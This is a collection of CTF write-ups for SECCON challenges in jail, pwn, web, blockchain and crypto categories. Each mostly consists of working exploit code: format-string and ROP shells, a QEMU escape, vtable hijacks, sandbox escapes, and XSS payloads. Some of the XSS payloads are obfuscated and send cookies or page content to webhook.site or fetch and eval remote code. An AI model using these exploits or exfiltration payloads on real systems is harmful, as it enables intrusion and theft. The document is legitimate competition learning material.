Jail

gotojail

  • Noticed that we can use cgo
  • Bypassed (){} blacklist by using asm() to spoof free function and a gadget in #<netipx/ipx.h>
package main
//#include <netipx/ipx.h>
//#define SIOCPROTOPRIVATE"free:movq $0x6873,\050%rdi);jmp system;.globl free;"
//__asm__ SIOCAIPXITFCRT;
import "C"
func main(){}
__EOF__

stdin:
cat /flag* >/proc/1/fd/1

1linepyjail

Discovered that help() can import any module to the program and also we can import jail again with it.

().__class__.__mro__[1].__subclasses__()[155].__init__.__builtins__['help']()
code
jail
().__class__.__mro__[1].__subclasses__()[-3].__init__.__globals__['interact']()

PP4

We can use the prototype pollution to define variables which we can later access in the jsfuck part using undefined. In the jsfuck part we can use [][[]] -> undefined to access the values from the prototype pollution, and use the constructor function to execute code.

from pwn import *
import json

#r = process(['node', './index.js'], level='error')
r = remote('pp4.seccon.games', 5000, level='error')

payload_code = '''return process.binding('spawn_sync').spawn({file: '/bin/bash', args: [ '/bin/bash', '-c', 'cat /flag*' ], stdio: [ {type:'pipe',readable:!0,writable:!1}, {type:'pipe',readable:!1,writable:!0}, {type:'pipe',readable:!1,writable:!0} ]}).output.toString();'''

j = {'__proto__': {'':{'undefined':'a', 'a':{'undefined': 'constructor', 'a': {'undefined': 'constructor', 'a': {'undefined': payload_code}}}}}}
j = json.dumps(j)
print(j)

r.sendlineafter(b'JSON: ', j.encode())

u = '[][[]]'
us = 'u[u]'
a = 'u[us]'
p = '[][u[a][us]][u[a][a][us]](u[a][a][a][us])()'

p = p.replace('a', a).replace('us', us).replace('u', u)
print(p)
r.sendlineafter(b'code: ', p.encode())

res = r.recvall().decode()
print(res)

Flag: SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}

pwn

Paragraph

#include <stdio.h>

int main() {
  char name[24];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("\"What is your name?\", the black cat asked.\n");
  scanf("%23s", name);
  printf(name);
  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

  return 0;
}

there is a format string bug in printf(name);. so if use this can overwrite lower 2byte of got. if change the printf got scanf address. then can get a overflow in printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);.

  1. leak libc and overwrite printf got to scanf address
  2. Because of there's no canary, write BOF payload that call system("/bin/sh");
from pwn import *

#p = remote("127.0.0.1", 5000)
p = remote("paragraph.seccon.games",5000)

payload = f"%{0xe00}c%8$hn".encode()
payload += b"%11$p"
payload += p32(0x404028) +p8(0)+p8(0)
print(payload)
print(len(payload))
pause()

p.sendlineafter(".",payload)
p.recvuntil("0x")
libc = int(p.recv(12),16) - 0x2d1ca + 0x3000
log.info(hex(libc))

in_payload = b"A"*0x28
in_payload += p64(libc+0x000000000010f75b+1)
in_payload += p64(libc+0x000000000010f75b)
in_payload += p64(libc+0x1cb42f)
in_payload += p64(libc+0x58740)

payload= b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted "+in_payload+b" warmly.\n"
print(payload)
sleep(1)
p.sendline(payload)
p.sendline("cat flag*")
p.interactive()

FLAG : SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}

BabyQEMU

Full Writeup

The mmio device has no out-of-bounds checks, so we can use it to read/write anywhere in QEMU memory. By this, we can first leak the addresses of QEMU heap and binary, then craft a fake vtable in the heap and overwrite an existing vtable pointer to execute system("/bin/sh").

For this we use the following gadgets

0x0000000000575a0e: mov rdi, qword ptr [rax + 0x10]; call qword ptr [rax];

With that we can control the content of rdi putting an address to a /bin/sh string in it, which we'll also put on the heap.

0x000000000035f5d5: call qword ptr [rax + 8];

Since executing system directly from the first gadget would result in a segfault on movaps due to a misaligned stack, we'll just chain another call, which will fix the stack alignment and then execute system.

#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

#define MMIO_SET_OFFSET 0
#define MMIO_SET_DATA 8
#define MMIO_GET_DATA 8

unsigned char *mmio_mem;

void mmio_write(uint32_t addr, uint32_t value)
{
    *(uint32_t *)(mmio_mem + addr) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *(uint32_t *)(mmio_mem + addr);
}

void set_offset_lo(uint32_t value)
{
    mmio_write(MMIO_SET_OFFSET, value);
}

void set_offset_hi(uint32_t value)
{
    mmio_write(MMIO_SET_OFFSET + 4, value);
}

void set_value(uint32_t value)
{
    mmio_write(MMIO_SET_DATA, value);
}

uint64_t get_value()
{
    return mmio_read(MMIO_GET_DATA);
}

uint64_t read_addr_offset(uint64_t offset)
{
    set_offset_lo(offset & 0xffffffff);
    set_offset_hi((offset >> 32) & 0xffffffff);
    uint64_t addr_lo = get_value();

    set_offset_lo((offset + 4) & 0xffffffff);
    set_offset_hi(((offset + 4) >> 32) & 0xffffffff);
    uint64_t addr_hi = get_value();

    return (addr_hi << 32) | addr_lo;
}

void write_addr_offset(uint64_t offset, uint32_t value)
{
    set_offset_lo(offset & 0xffffffff);
    set_offset_hi((offset >> 32) & 0xffffffff);
    set_value(value);
}

int main()
{
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);

    mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    uint64_t heapleak = read_addr_offset(0x120);
    uint64_t qemuleak = read_addr_offset(0x130);
    uint64_t qemubase = qemuleak - 0x7b44a0;
    uint64_t opaque = read_addr_offset(-0xbf8 + 0xd8);
    uint64_t mmio_ptr = read_addr_offset(-0xbf8 - 0x7b0);
    uint64_t target_off = opaque - mmio_ptr - 0x50;

    printf("HEAP leak     : %p\n", heapleak);
    printf("QEMU leak     : %p\n", qemuleak);
    printf("QEMU base     : %p\n", qemubase);
    printf("opaque        : %p\n", opaque);
    printf("mmio_ptr      : %p\n", mmio_ptr);
    printf("target_off    : %p\n", target_off);

    // 0x0000000000575a0e: mov rdi, qword ptr [rax + 0x10]; call qword ptr [rax];
    // 0x000000000035f5d5: call qword ptr [rax + 8];
    uint64_t system = qemubase + 0x324150;
    uint64_t setrdigadget = qemubase + 0x0000000000575a0e;

    uint64_t callrax8 = qemubase + 0x000000000035f5d5;

    write_addr_offset(0x20, callrax8 & 0xffffffff); // rax
    write_addr_offset(0x24, callrax8 >> 32);        // rax

    write_addr_offset(0x20 + 8, system & 0xffffffff); // rax+0x8
    write_addr_offset(0x20 + 4 + 8, system >> 32);    // rax+0x8

    write_addr_offset(0x20 + 0x10, ((heapleak + 0x1d20) & 0xffffffff) + 0x10); // rax + 0x10 => address of bin/sh
    write_addr_offset(0x24 + 0x10, heapleak >> 32);

    write_addr_offset(0x20 + 8 + 0x10, 0x6e69622f); // rax+0x18 => bin/sh
    write_addr_offset(0x20 + 8 + 0x10 + 4, 0x68732f);

    write_addr_offset(0x20 + 0x38, setrdigadget & 0xffffffff); // gadget (call [rax])
    write_addr_offset(0x24 + 0x38, setrdigadget >> 32);

    write_addr_offset(-0xbf8 - target_off, opaque + 0xbf8 + 0x20); // overwrite vtable

    munmap(mmio_mem, 0x1000);
    close(mmio_fd);
}

Flag: SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk}

TOY/2

Full Writeup

The range check in stt has a off-by-one error, which allows us to overwrite one byte outside of _mem. With this, we can overwrite the _mem pointer itself, moving the vm memory range up- and downwards. This lets us overwrite the size of the vm memory and also access the vtable pointer of the vm.

We can then read the original vtable pointer and calculate the address of main, create a fake vtable, which will jump back into main when vm->dump_registers() gets called. Raising an exception before with executing an illegal instruction (opcode 7) will put an exception object on the heap, which will contain pointers to libstdc++.

So when returning back into main, we can again overwrite size and _mem pointer to read/write outside of the vm. Thus we can get the libstdc++ pointer, calculate libc base and then create a fake vtable, which will then execute system("/bin/sh") when vm->dump_registers() is called again.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "toy-2.seccon.games"
# HOST = "localhost"
PORT = 5000
PROCESS = "./toy2"


def op(first, second):
    val = first << 12
    val |= second
    return p16(val)


def jmp(addr):
    return op(0, addr)


def adc(addr):
    return op(1, addr)


def xor(addr):
    return op(2, addr)


def sbc(addr):
    return op(3, addr)


def ror():
    return op(4, 0)


def tat():
    return op(5, 0)


def oor(addr):
    return op(6, addr)


def oand(addr):
    return op(8, addr)


def ldc(addr):
    return op(9, addr)


def bcc(addr):
    return op(10, addr)


def bne(addr):
    return op(11, addr)


def ldi():
    return op(12, 0)


def stt():
    return op(13, 0)


def lda(addr):
    return op(14, addr)


def sta(addr):
    return op(15, addr)


def exploit(r):
    # code segment

    # move _mem ptr down
    code = lda(0xf00)
    code += tat()
    code += lda(0xf02)
    code += stt()

    # padding for moved mem ptr
    code += b"\x00" * 16

    # overwrite _mem size
    code += lda(0xf04 - 0x10)
    code += sta(0x1000 + 8 - 0x10)

    # padding to increase pc
    code += ror() * 16

    # move _mem ptr up
    code += lda(0xf06 - 0x10)
    code += sta(0x1000 - 1 - 0x10)

    # read vtable and calculate offset to main
    code += lda(-0x8 + 0x8)             # read original vtable (lower 2 bytes)
    code += sbc(0xf08 + 0x8)            # calculate elf base
    code += adc(0xf0a + 0x8)            # calculate main
    code += sta(0xe00 + 0x8)            # write into mem
    code += lda(-0x8 + 0x2 + 0x8)       # read original vtable (next 2 bytes)
    code += sta(0xe00 + 0x2 + 0x8)      # write into mem
    code += lda(-0x8 + 0x4 + 0x8)       # read original vtable (next 2 bytes)
    code += sta(0xe00 + 0x4 + 0x8)      # write into mem

    # overwrite vtable ptr
    code += lda(0xf0c + 0x8)            # load offset to _mem ptr
    code += ldi()                       # read lower 2 bytes of _mem ptr
    code += adc(0xf12 + 0x8)            # add offset to fake vtable
    code += sta(-0x8 + 0x8)             # overwrite vtable

    code += lda(0xf0e + 0x8)            # copy _mem ptr+2 to vtable+2
    code += ldi()
    code += sta(-0x8 + 0x2 + 0x8)
    code += lda(0xf10 + 0x8)            # copy _mem ptr+4 to vtable+4
    code += ldi()
    code += sta(-0x8 + 0x4 + 0x8)

    # trigger invalid instruction
    code += op(7, 0)

    # data segment
    code = code.ljust(0xf00, b"\x00")
    code += p16(0xc800)                 # 0xf00 LSB overwrite value (move down)
    code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
    code += p16(0xffff)                 # 0xf04 new _mem_size
    code += p16(0xb000)                 # 0xf06 LSB overwrite value (move up)

    code += p16(0x4c70)                 # 0xf08 original vtable offset
    code += p16(0x26d0)                 # 0xf0a offset to main

    code += p16(0x1000 + 0x8)           # 0xf0c offset to _mem ptr
    code += p16(0x1000 + 0x2 + 0x8)     # 0xf0e offset to _mem ptr + 2
    code += p16(0x1000 + 0x4 + 0x8)     # 0xf10 offset to _mem ptr + 4
    code += p16(0xe00)                  # 0xf12 offset to fake vtable

    code = code.ljust(4096, b"\x00")

    r.send(code)

    r.recvuntil(b"[+] Done.")

    # move _mem ptr down
    code = lda(0xf00)
    code += tat()
    code += lda(0xf02)
    code += stt()

    # padding for moved mem ptr
    code += b"\x00" * 16

    # overwrite _mem size
    code += lda(0xf04 - 0x10)
    code += sta(0x1000 + 8 - 0x10)

    # padding to increase pc
    code += ror() * 80

    # move _mem ptr up
    code += lda(0xf06 - 0x10)
    code += sta(0x1000 - 1 - 0x10)

    LIBCOFFSET = 0x4aeff0

    # read libstdc++ pointer and calculate libc base and store in _mem
    code += lda(0x10)                  # bytes 0-2
    code += sbc(0xf08 + 0x78)
    code += sta(0x400 + 0x78)

    code += lda(0x12)                  # bytes 2-4
    code += sbc(0xf0a + 0x78)
    code += sta(0x402 + 0x78)

    code += lda(0x14)                  # bytes 4-6
    code += sta(0x404 + 0x78)

    # 0x000000000016e44e: mov rdi, r14; call qword ptr [rax + 0x10];
    GADGETOFFSET = 0x16e44e

    # write fake vtable with gadget
    code += lda(0x400 + 0x78)           # libc base
    code += adc(0xf0c + 0x78)           # add gadget offset
    code += sta(0x410 + 0x78)           # fake vtable

    code += lda(0x402 + 0x78)           # libc base
    code += adc(0xf0e + 0x78)           # add gadget offset
    code += sta(0x412 + 0x78)           # fake vtable

    code += lda(0x404 + 0x78)           # libc base
    code += sta(0x414 + 0x78)           # fake vtable

    # write binsh string to _mem
    BINSH = 0x0068732f6e69622f

    code += lda(0xf10 + 0x78)
    code += sta(0x10)
    code += lda(0xf12 + 0x78)
    code += sta(0x12)
    code += lda(0xf14 + 0x78)
    code += sta(0x14)
    code += lda(0xf16 + 0x78)
    code += sta(0x16)

    # write system+0x1b to rax+0x10
    SYSTEMOFFSET = libc.symbols["system"] + 0x1b

    code += lda(0x400 + 0x78)           # libc base
    code += adc(0xf18 + 0x78)           # add system offset
    code += sta(0x418 + 0x78)           # store at 0x418

    code += lda(0x402 + 0x78)           # libc base
    code += adc(0xf1a + 0x78)           # add system offset
    code += sta(0x418 + 0x2 + 0x78)     # store at 0x418+2

    code += lda(0x404 + 0x78)           # libc base
    code += sta(0x418 + 0x4 + 0x78)     # store at 0x418+4

    # overwrite vtable with fake vtable
    code += lda(0xf1c + 0x78)           # get _mem_ptr
    code += ldi()
    code += adc(0xf22 + 0x78)           # add offset to fake vtable
    code += sta(0x70)                   # overwrite vtable

    code += lda(0xf1e + 0x78)           # get _mem_ptr+2
    code += ldi()
    code += sta(0x70 + 0x2)

    code += lda(0xf20 + 0x78)           # get _mem_ptr+4
    code += ldi()
    code += sta(0x70 + 0x4)

    # data segment
    code = code.ljust(0xf00, b"\x00")
    code += p16(0xd800)                 # 0xf00 LSB overwrite value (move down)
    code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
    code += p16(0xffff)                 # 0xf04 new _mem_size
    code += p16(0x5000)                 # 0xf06 LSB overwrite value (move up)

    code += p16(LIBCOFFSET & 0xffff)            # 0xf08 libc offset (0-16)
    code += p16((LIBCOFFSET >> 16) & 0xffff)    # 0xf0a libc offset (16-32)

    code += p16(GADGETOFFSET & 0xffff)          # 0xf0c gadget offset (0-16)
    code += p16((GADGETOFFSET >> 16) & 0xffff)  # 0xf0e gadget offset (16-32)

    code += p16(BINSH & 0xffff)                 # 0xf10 binsh (0-16)
    code += p16((BINSH >> 16) & 0xffff)         # 0xf12 binsh (16-32)
    code += p16((BINSH >> 32) & 0xffff)         # 0xf14 binsh (32-48)
    code += p16((BINSH >> 48) & 0xffff)         # 0xf16 binsh (48-64)

    code += p16(SYSTEMOFFSET & 0xffff)          # 0xf18 system offset (0-16)
    code += p16((SYSTEMOFFSET >> 16) & 0xffff)  # 0xf1a system offset (16-32)

    code += p16(0x1000 + 0x78)                  # 0xf1c _mem_ptr
    code += p16(0x1000 + 0x2 + 0x78)            # 0xf1e _mem_ptr+2
    code += p16(0x1000 + 0x4 + 0x78)            # 0xf20 _mem_ptr+4

    code += p16(0x480)                          # 0xf22 offset to fake vtable
    code = code.ljust(4096, b"\x00")

    pause()
    r.send(code)

    r.interactive()

    return


if __name__ == "__main__":
    libc = ELF("./libc.so.6")

    context.terminal = ["tmux", "splitw", "-v"]

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = remote("localhost", 5000)
        pause()

    exploit(r)

Flag: SECCON{Im4g1n3_pWn1n6_1n51d3_a_3um_CM0S}

Web

TrillionBank

A user can send their balance to another user putting their name into the form. The following database query will be executed:

await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
  amount,
  req.user.id,
]);
await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
  amount,
  recipientName,
]);

This can be exploited if there are multiple accounts with the same name, because this query will increase the balance of all accounts with the given name.

The register endpoint, which is responsible to prevent this from happening, looks indeed weird:

app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);

  const [result] = await db.query("INSERT INTO users SET ?", {
    name,
    balance: 10,
  });
  res
    .setCookie("session", await res.jwtSign({ id: result.insertId }))
    .send({ msg: "Succeeded" });
});

There is the names map variable, which is used to handle the duplication check. Although this weird logic makes race condition impossible (due to the single-threaded nature of Node.js), but still this logic is weird.

The type of the users table's name field is TEXT. The maximum length of a TEXT field is 65,535 bytes. If the value exceeds this threshold, well, it will be truncated, emitting a warning. Honestly I think this is insane engineering decision; This is database and you don't want your database to screw up your data, but that's what they're doing here exactly. Yeah, it emits the warning, which will be silently ignored on the backend since no one knows this abnormal behavior and generally no one writes the code handling the 'warning' from the database after your seemingly successful query. Good job, MySQL.

By the way, this behavior is exploitable in this codebase. You can generate some 65535-byte random username and register the accounts with the names username, username + "A", username + "A" * 2, , username + "A" * 15. Now when someone transfers their money to username, all of the accounts we created will receive the amount sent.

The following code exploits this behavior to get the flag:

import requests
import random
import string

chall = 'http://trillion.seccon.games:3000'

gen = lambda l: ''.join([random.choice(string.ascii_lowercase + string.digits) for _ in range(l)])

ref_name = gen(16)
prefix = gen(65535)

def register(name):
    session = requests.Session()
    r = session.post(chall + "/api/register", json={'name': name})
    if r.status_code == 200:
        return session

ref_session = register(ref_name)
prefix_sessions = [register(prefix + 'a' * i) for i in range(16)]

while True:
    r = ref_session.get(chall + "/api/me")
    d = r.json()
    print("Main", d['balance'])
    if d['balance'] > 1000000000000:
        print(d)
        break
    r = ref_session.post(chall + "/api/transfer", json={'recipientName': prefix, 'amount': str(d['balance'])})
    print("Result", r.text)
    for prefix_session in prefix_sessions:
        r = prefix_session.get(chall + "/api/me")
        d = r.json()
        r = prefix_session.post(chall + "/api/transfer", json={'recipientName': ref_name, 'amount': str(d['balance'])})

And the flag obtained with the above code is SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}.

Self-SSRF

We have a /ssrf endpoint that will locally send a request to /flag with the correct flag but there's a middleware that checks that req.query.flag exists so the request will end up looking like flag={user input}&flag=SECCON{realflag} which will not pass the code below.

res.send(
req.query.flag === FLAG // Guess the flag
  ? `Congratz! The flag is '${FLAG}'.`
  : `<marquee>🚩🚩🚩</marquee>`
);

Since passing in two different flag will make req.query.flag into an array.

After a bit of digging, we found out that /ssrf?flag[=]=1 will output flag due to the code initially recognizing flag correctly as an object but whenever it tries to append it, it treats the flag object differently and uniquely adds the real flag as it can be seen in the log below.

chall-1  | req.query.flag is : {       <-- Before append
chall-1  |   "=": "1",
chall-1  | }
chall-1  | search params: URLSearchParams { <-- After append
chall-1  |   "flag[": "]=1",
chall-1  |   "flag": "SECCON{dummy}",
chall-1  | }

Congratz! The flag is 'SECCON{Which_whit3space_did_you_u5e?}'.

Tanuki Udon

For the markdown function, it has less validation. So, we could do inject onerror on the img tag.

We could get some XSS on there and manage to solve this challenge.

![]([]()[]( onerror=a=atob`dmFyIGNoaWxkID0gd2luZG93Lm9wZW4oIi8iKTtzZXRUaW1lb3V0KCgpPT57IG5hdmlnYXRvci5zZW5kQmVhY29uKCJodHRwczovL3dlYmhvb2suc2l0ZS80ZmUyYmVkOC1lNzcxLTRhYjctYmI3NC02ZDAzYmVjYjFhOTQvIiwgY2hpbGQuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwpfSwgNTAp`;eval.call`${a}` )

SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}

Javascryptor

There a trivial XSS in this challenge but there are two problems. First one is that we need currentId and the second one is that all users use a unique key so we can't easily alert() other users.

We can solve the first problem by iframing the payload, the currentId then won't be overwritten because chrome will isolate the localstorage.

For the second problem, we can use the prototype pollution vulnerablity that exists in purl.

The following code is part of CryptoJS.enc.Base64. If we pollute the first 4 indexes of words array with 0xffffffff then the key will always be \xff*16.

function parseLoop(base64Str, base64StrLength, reverseMap) {
  var words = [];
  var nBytes = 0;
  for (var i = 0; i < base64StrLength; i++) {
      if (i % 4) {
          var bits1 = reverseMap[base64Str.charCodeAt(i - 1)] << ((i % 4) * 2);
          var bits2 = reverseMap[base64Str.charCodeAt(i)] >>> (6 - (i % 4) * 2);
          var bitsCombined = bits1 | bits2;
          words[nBytes >>> 2] |= bitsCombined << (24 - (nBytes % 4) * 8);
          nBytes++;
      }
  }
  return WordArray.create(words, nBytes);
}

We then crafted a "ciphertext" and "iv" that after decrypted, will contain the following payload (kinda tricky since the first 32 bytes of iv and ciphertext will also be 0xff, but since it is AES CBC we can workaround it):

<img src="1" onerror="fetch(`https://webhook.site/93a65f09-080c-4b21-8128-973cb0f05cec`).then(r=>r.text()).then(r=>eval(r))">
{
    "iv": "Q8WR0Y19Yt4+v+l+gLy9MA==",
    "ciphertext": "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF9E+cnEaysGpsqekoJLjPS34MzP5M228OaQNi+lAo4tafZT+7odECs9fgu8b1NXiRp6rEivWE1nQVsoeqOID1K+3xmWJsMercjRK7jVlLEbhJd1KOAGmCZZxEGexnWOfEzNpzXgxxQWAy4AyayzaCT+Z0gFbmIylQGZl/OKhfThISWwZ35QBMo1MLSu2OokvU="
}

Then hosted the following code at that webhook URL.

let x = window.open('/df')
setTimeout(_=>{
    fetch(`http://localhost:3000/?a=`+encodeURIComponent(`${x.localStorage.getItem('currentId')} - ${x.localStorage.getItem('key')}`))
},1000)

Finally triggering the exploit

<!-- page at attacker.com -->
<iframe src="http://javascrypto.seccon.games:3000/?id=8e13541e-a68f-4248-8075-4726dea7f80d&d[__proto__][0]=0xffffffff&d[__proto__][1]=0xffffffff&d[__proto__][2]=0xffffffff&d[__proto__][3]=0xffffffff"></iframe>

Double Parser

htmlparser2 doesn't handle xmp tags well We can use this to craft a payload.
To bypass CSP we can use HTML comments. In Javascript (<!--) behaves somehow like //.

<!--
alert()
->
encodeURIComponent(`<xmp><!--</xmp><img id="--><&#x2f;xmp><img src=1 ><xmp><!-- <&#x2f;xmp><script src='/?html=%3C!--%0A%3Bfetch(%60https%3A%2F%2Fwebhook.site%2F93a65f09-080c-4b21-8128-973cb0f05cec%60%2C%7Bmethod%3A%60POST%60%2Cbody%3Adocument.cookie%7D)%2F%2F--%3E'></script> --><&#x2f;xmp>">`)

Blockchain

trillionether

The code has uninitialized pointer reuse vulnerability. So, we could overwrite the slot address where we want to ovewrite.

Ref: https://github.com/ethereum/solidity/issues/14021

After some research, I realized that the integer overflow/underflow will be detected but it's not reveretd when it calculates the internal slot address. So, I could abuse this and manage to solve this challenge.

My payload will overwrite balance as msg.sender. So, we could drain the balance of the contract.

payload:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "../src/TrillionEther.sol";

contract CounterScript is Script {
    TrillionEther public te;
    address public cont;

    function setUp() public {
        cont = 0x6d240F5aeebc6fB8Cc596fE445BcA32e3f653667;
        te = TrillionEther(cont);
    }

    function alignSlot() public {
        te.createWallet(bytes32(uint256(0xf250b10ce3d189c7b8a9937227ed301291731678e7eaa7adedf0244dfb0408df) - 1));
        te.createWallet(bytes32(uint256(0x9cfb5bb78e7c347263543e1cd297dabd3c1dc12392955258989acef8a5aeb389) - 1));
        te.createWallet(bytes32(uint256(0x47a606623926df1d0dfee8c77d428567e6c86bce3d3ffd03434579a350595e34) - 1));
        te.createWallet(bytes32(uint256(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) - 1));
    }

    function run() public {
        vm.startBroadcast(0xabc36aba623d0038158461f5d4b1b25e16d5844f72a520716a2b02e9981e68cb);

        uint256 dest = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563;

        alignSlot();
        uint256 goal = 0xf250b10ce3d189c7b8a9937227ed301291731678e7eaa7adedf0244dfb0408df - 1;

        unchecked {
            console.logBytes32(bytes32(dest+(3*goal)));

            bytes32 expectedSlot0 = vm.load(address(te), bytes32(dest+(3*goal)+0));
            bytes32 expectedSlot1 = vm.load(address(te), bytes32(dest+(3*goal)+1));
            bytes32 expectedSlot2 = vm.load(address(te), bytes32(dest+(3*goal)+2));

            console.logBytes32(expectedSlot0);
            console.logBytes32(expectedSlot1);
            console.logBytes32(expectedSlot2);
        }

        te.withdraw(goal, address(te).balance);

        console.log(te.isSolved());
    }
}

SECCON{unb3l13-bubb13_64362072f002c1ea}

Crypto

reiwa-rot13

Related message attack

from itertools import product

diffs = set()
for cand in product(["a", "n"], repeat=10):
    orig = "".join(cand)
    rotated = codecs.encode(orig, "rot13")
    diff = bytes_to_long(orig.encode()) - bytes_to_long(rotated.encode())
    diffs.add(diff)

R.<X> = Zmod(n)[]
from tqdm import tqdm

for diff in tqdm(diffs):
    g1 = X ** e - c1
    g2 = (X + diff) ** e - c2
    while g2:
        g1, g2 = g2, g1 % g2
    g = g1.monic()
    if g.degree() != 1:
        continue
    recovered = long_to_bytes(int(-g[0]))
    if len(recovered) == 10:
        print(recovered)
        continue

Profit

key = recovered
key = b"dnjqygbmor"
key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(encyprted_flag))

b'SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}'

dual summon

t11 = s1 + L * a1 + ct11 * a1^2 (used pt1)
t12 = s1 + L * a1 + ct12 * a1^2 (used pt2)

t21 = s2 + L * a2 + ct21 * a2^2 (used pt1)
t22 = s2 + L * a2 + ct22 * a2^2 (used pt2)

we know ct11 + ct12 because ct11 + ct12 = pt1 + pt2
we also know ct21 + ct22 = pt1 + pt2 too.

t11 + t12 = (ct11 + ct12) * a1^2
t21 + t22 = (ct21 + ct22) * a2^2

so we can recover a1^2, a2^2

now put final_pt = pt1 + x
where x = (t11 + t21) / (a1^2 + a2^2)

then

final_tag1 = t11 + a1^2 * x
final_tag2 = t21 + a2^2 * x

final_tag1 + final_tag2 = t11 + t21 + x * (a1^2 + a2^2) = t11 + t21 + t11 + t21 = 0

so final_tag1 = final_tag2

# Helper
from Crypto.Cipher import AES

F.<a> = GF(2^128, modulus=x^128 + x^7 + x^2 + x + 1)
mod = 2^128 + 2^7 + 2^2 + 2 + 1

def bytes_to_n(b):
    v = int.from_bytes(nullpad(b), 'big')
    return int(f"{v:0128b}"[::-1], 2)

def bytes_to_poly(b):
    return F.from_integer(bytes_to_n(b))

def poly_to_n(p):
    v = p.to_integer()
    return int(f"{v:0128b}"[::-1], 2)
    
def poly_to_bytes(p):
    return poly_to_n(p).to_bytes(16, 'big')

def length_block(lad, lct):
    return int(lad * 8).to_bytes(8, 'big') + int(lct * 8).to_bytes(8, 'big')

def nullpad(msg):
    return bytes(msg) + b'\x00' * (-len(msg) % 16)

def calculate_tag(key, ct, nonce, ad):
    y = AES.new(key, AES.MODE_ECB).encrypt(bytes(16))
    s = AES.new(key, AES.MODE_ECB).encrypt(nonce + b"\x00\x00\x00\x01")
    assert len(nonce) == 12
    # I was lazy to find one for other length nonces, not really needed for this challenge

    y = bytes_to_poly(y)

    l = length_block(len(ad), len(ct))

    blocks = nullpad(ad) + nullpad(ct)
    bl = len(blocks) // 16

    blocks = [blocks[16 * i:16 * (i + 1)] for i in range(bl)]
    blocks.append(l)
    blocks.append(s)

    tag = F(0)
    
    for exp, block in enumerate(blocks[::-1]):
        tag += y^exp * bytes_to_poly(block)

    tag = poly_to_bytes(tag)

    return tag

def check():
    key = os.urandom(16)
    nonce = os.urandom(12)

    ad = os.urandom(os.urandom(1)[0])
    pt = os.urandom(os.urandom(1)[0])
    
    cipher = AES.new(key, AES.MODE_GCM, nonce)
    cipher.update(ad)
    ct, tag = cipher.encrypt_and_digest(pt)

    assert tag == calculate_tag(key, ct, nonce, ad)

check()




from pwn import remote, process

# io = process(["python3", "server.py"])
io = remote("dual-summon.seccon.games", 2222r)

atags = []
y2s = []
for i in range(1, 3):
    a = b"asdfasdfasdfasdf"
    b = b"qwerqwerqwerqwer"

    io.sendline(b"1")
    io.sendline(str(i).encode())

    io.sendline(bytes.hex(a).encode())
    io.recvuntil(b"tag(hex) = ")
    taga = bytes.fromhex(io.recvline().decode())



    io.sendline(b"1")
    io.sendline(str(i).encode())

    io.sendline(bytes.hex(b).encode())
    io.recvuntil(b"tag(hex) = ")
    tagb = bytes.fromhex(io.recvline().decode())

    taga = bytes_to_poly(taga)
    tagb = bytes_to_poly(tagb)

    atags.append(taga)

    a = bytes_to_poly(a)
    b = bytes_to_poly(b)

    y2 = (taga + tagb) / (a + b)


    y2s.append(y2)

diff = atags[0] + atags[1] + (y2s[0] + y2s[1]) * a
ans = diff / (y2s[0] + y2s[1])

ans = poly_to_bytes(ans)

io.sendline(b"2")
io.sendline(bytes.hex(ans))


io.interactive()

Tidal wave

Recover alphas

Square of alphas are given, and we have determinant of submatrixes of G, which is Vandermonde matrix.

I expressed dets with alphas, and just rungroebner_basis with them.

Then we can gain every alphas are expressed with alphas[35].

Since alpha_sum_rsa is given, we can recover all the alphas.

Recover pvec

After that, we can recover pvec with LLL.
But since first row of G is [1, 1, ..., 1], we cannot recover first value of pvec.

We can recover p with just running small_roots.

Recover keyvec

In modulo p (or q), the make_random_vector2 has 14 non-zero values out of 36 total elements.

Since 22C8/36C8 = 0.010567.., we can simply use a brute-force method to identify the 8 indices where make_random_vector2 is zero.

from output import *

## recover alphas
R = Zmod(N)
PR = PolynomialRing(R, [f"alpha_{i}" for i in range(36)])
alphas = list(PR.gens())
double_polys = [alphas[i]^2 - double_alphas[i] for i in range(36)]
fs = []
for m in range(5):
    f = 1
    for i in range(7*m, 8+7*m):
        for j in range(i + 1, 8+7*m):
            f *= alphas[j] - alphas[i]
            for k in range(7*m, 8+7*m):
                f %= double_polys[k]
    fs.append(f-dets[m])

alphas_c = []
gb = ideal(double_polys + fs).groebner_basis()
for i in range(35):
    t1, t2 = gb[i + 1]
    assert t1[1] == alphas[i]
